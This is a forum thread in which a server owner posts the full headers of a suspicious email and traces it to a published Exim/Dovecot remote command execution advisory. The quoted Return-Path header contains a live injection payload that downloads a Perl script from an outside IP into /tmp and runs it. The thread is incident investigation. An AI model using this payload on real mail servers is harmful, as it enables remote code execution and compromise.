Receive suspicious email. hacked?

[Azurel]

Hi,

Yesterday (2013/06/19) I get strange email spam to my plesk email from my server.
There was no "Subject", no "To" and no "From". Only "x" as content.
So I look in RFC-Header of email and get this:

Return-Path: <"x`wget${IFS}-O${IFS}/tmp/zax.pl${IFS}http://212.30.46.158/zax.pl``perl${IFS}/tmp/zax.pl`"@pacbell.net>
X-Original-To: MY-PLESK-EMAIL
Delivered-To: [email protected]
X-Greylist: delayed 568 seconds by postgrey-1.32 at webgo24-server13.de; Wed, 19 Jun 2013 02:48:21 CEST
Received: from rsXXXXX.rs.hosteurope.de (rsXXXXX.rs.hosteurope.de [MY-SERVER-IP])
by mail.webgo24-server13.de (Postfix) with ESMTPS id D3F65304034A
for <MY-PLESK-EMAIL>; Wed, 19 Jun 2013 02:48:20 +0200 (CEST)
Received: by rsXXXXX.rs.hosteurope.de (Postfix)
id 2A2C860116; Wed, 19 Jun 2013 02:38:51 +0200 (CEST)
Delivered-To: [email protected]omain
Received: by rsXXXXX.rs.hosteurope.de (Postfix)
id 28C3560117; Wed, 19 Jun 2013 02:38:51 +0200 (CEST)
Delivered-To: [email protected]
X-No-Auth: unauthenticated sender
X-No-Relay: not in my network
Received: from domain.local (unknown [212.30.46.158])
by rsXXXXX.rs.hosteurope.de (Postfix) with ESMTP id E637060116
for <postmaster@localhost>; Wed, 19 Jun 2013 02:38:50 +0200 (CEST)



x

- Thats a 1 month new server with Plesk 11.0.9#53
- There are no users, only myself
- Plesk-Panel is protected with htaccess
- There are three domains, but all of them without content (server is still only for testing plesk)
- Only access with "ssh private key file". login with root password or ftp are deactivated.


How I can get this email from my server? Does anyone have an idea?

Received: from rsXXXXX.rs.hosteurope.de (rsXXXXX.rs.hosteurope.de [MY-SERVER-IP])

 

[Azurel]

I found the background of this "hack":

http://th-h.de/blog/archives/1701-Vom-Advisory-zum-Exploit-binnen-eines-Tages.html (german)
https://www.redteam-pentesting.de/d...nfiguration-leads-to-remote-command-execution (english)

So this suspected a problem with Exim and Dovecot. Both is not included in plesk 11.0.9. But why I get this mail from my server?


EDIT: Okay I found the way. Use "telnet" with "RCPT TO: postmaster" move to admin(plesk) email adress.